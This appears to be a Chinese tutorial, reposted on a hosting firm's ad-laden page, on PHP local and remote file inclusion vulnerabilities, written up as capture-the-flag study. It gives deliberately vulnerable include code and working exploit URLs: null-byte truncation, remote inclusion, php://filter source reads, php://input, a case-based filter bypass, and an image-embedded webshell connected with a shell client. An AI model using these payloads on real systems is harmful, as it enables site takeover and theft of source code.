文件包含漏洞之本地包含和远程包含-创新互联

文件包含漏洞介绍:

目前创新互联建站已为近1000家的企业提供了网站建设、域名、雅安服务器托管网站托管、企业网站设计、措美网站维护等服务,公司将坚持客户导向、应用为本的策略,正道将秉承"和谐、参与、激情"的文化,与客户和合作伙伴齐心协力一起成长,共同发展。

  程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这中文件调用的过程一般被称为文件包含。程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。几乎所有脚本语言都会提供文件包含的功能,但文件包含漏洞在PHP中居多,而在JSP、ASP、ASP.NET程序中却非常少,甚至没有,这是有些语言设计的弊端。在PHP中经常出现包含漏洞,但这并不意味这其他语言不存在。

漏洞成因:

  文件包含漏洞的产生原因是在通过引入文件时,引用的文件名,用户可控,由于传入的文件名没有经过合理的校验,或者校验被绕过,从而操作了预想之外的文件,就 可能导致意外的文件泄露甚至恶意的代码注入。当被包含的文件在服务器本地时,就形成的本地文件包含漏洞,被包涵的文件在第三方服务是,就形成了远程文件包 含漏洞。

漏洞危害:

    执行恶意代码、包含恶意文件控制网站、甚至控制网站服务器等。


本地包含漏洞:

代码:

<?PHP $file=@$_GET['name']; if($file){ include $file; } ?>

    

以以上这个代码为例:

访问:http://127.0.0.1/fileupload/include.php?name=1.txt

  1. txt文件代码为:

<?php phpinfo(); ?>

我们可以看到txt文件里的内容以php文件的方式执行了;如下图所示:

文件包含漏洞之本地包含和远程包含

再看,如果访问:http://127.0.0.1/fileupload/include.php?name=2.jpg

2.jpg是一个图片的一句话***;

文件包含漏洞之本地包含和远程包含

用菜刀可以直接连接,也就是说不管后缀是什么样,最后都会以php的形式执行。


但是有时候会这样,这个在ISCC国赛中遇到了,就是在最后会自动加入.php,非常烦人。

代码2:

<?php     Include  $_GET['page'].".php" ?>

执行结果如下图:

文件包含漏洞之本地包含和远程包含

如果访问:http://127.0.0.1/fileupload/include2.php?page=1.txt

还是报错。

文件包含漏洞之本地包含和远程包含

解决办法:%00截断

利用环境:php版本<5.3magic_quotes_gpc取消的(magic_quotes_gpc = off)

访问:http://127.0.0.1/fileupload/include2.php?page=1.txt%00

文件包含漏洞之本地包含和远程包含


远程包含:

  远程的文件名不能为php可解析的扩展名(php、php5..),而且php.ini中allow_url_fopen和allow_url_include为On才可以。

访问:http://127.0.0.1/fileupload/include.php?name=http://127.0.0.1/1.txt

文件包含漏洞之本地包含和远程包含

如果是遇到这种情况:

文件包含漏洞之本地包含和远程包含可以用“?”或者“%00”阶段;

http://127.0.0.1/fileupload/include2.php?page=http://127.0.0.1/1.txt?


读取源码:php://filter/read=convert.base64-encode/resource=1.txt

http://127.0.0.1/fileupload/include.php?name=php://filter/read=convert.base64-encode/resource=1.txt

读取出来的是base64编码的,进行解码就行了。

文件包含漏洞之本地包含和远程包含

php://input的用法

php://input

文件包含漏洞之本地包含和远程包含

伪协议绕过大小写:

<?php          if(isset($_GET['f'])){         if(strpos($_GET['f'],"php") !== False){             die("error...");         }         else{             include($_GET['f'] . '.php');         }     }      ?>

http://127.0.0.1//index.php?f=pHP://filter/read=convert.base64-encode/resource=index

readfile读取文件,不可以getshell

<?php  @readfile($_GET["file"]); ?>

总结:这些在iscc的国赛赛中出现过,如果当时会阶段或者会读取源码,也就能获奖了,学无止境,加油吧。


文件包含漏洞之本地包含和远程包含

另外有需要云服务器可以了解下创新互联cdcxhl.cn,海内外云服务器15元起步,三天无理由+7*72小时售后在线,公司持有idc许可证,提供“云服务器、裸金属服务器、高防服务器、香港服务器、美国服务器、虚拟主机、免备案服务器”等云主机租用服务以及企业上云的综合解决方案,具有“安全稳定、简单易用、服务可用性高、性价比高”等特点与优势,专为企业上云打造定制,能够满足用户丰富、多元化的应用场景需求。

网站栏目:文件包含漏洞之本地包含和远程包含-创新互联
文章分享:https://www.cdcxhl.com/article16/csoidg.html

成都网站建设公司_创新互联,为您提供静态网站外贸建站品牌网站建设微信公众号网站营销网站建设

广告

声明:本网站发布的内容(图片、视频和文字)以用户投稿、用户转载内容为主,如果涉及侵权请尽快告知,我们将会在第一时间删除。文章观点不代表本网站立场,如需处理请联系客服。电话:028-86922220;邮箱:631063699@qq.com。内容未经允许不得转载,或转载时需注明来源: 创新互联

h5响应式网站建设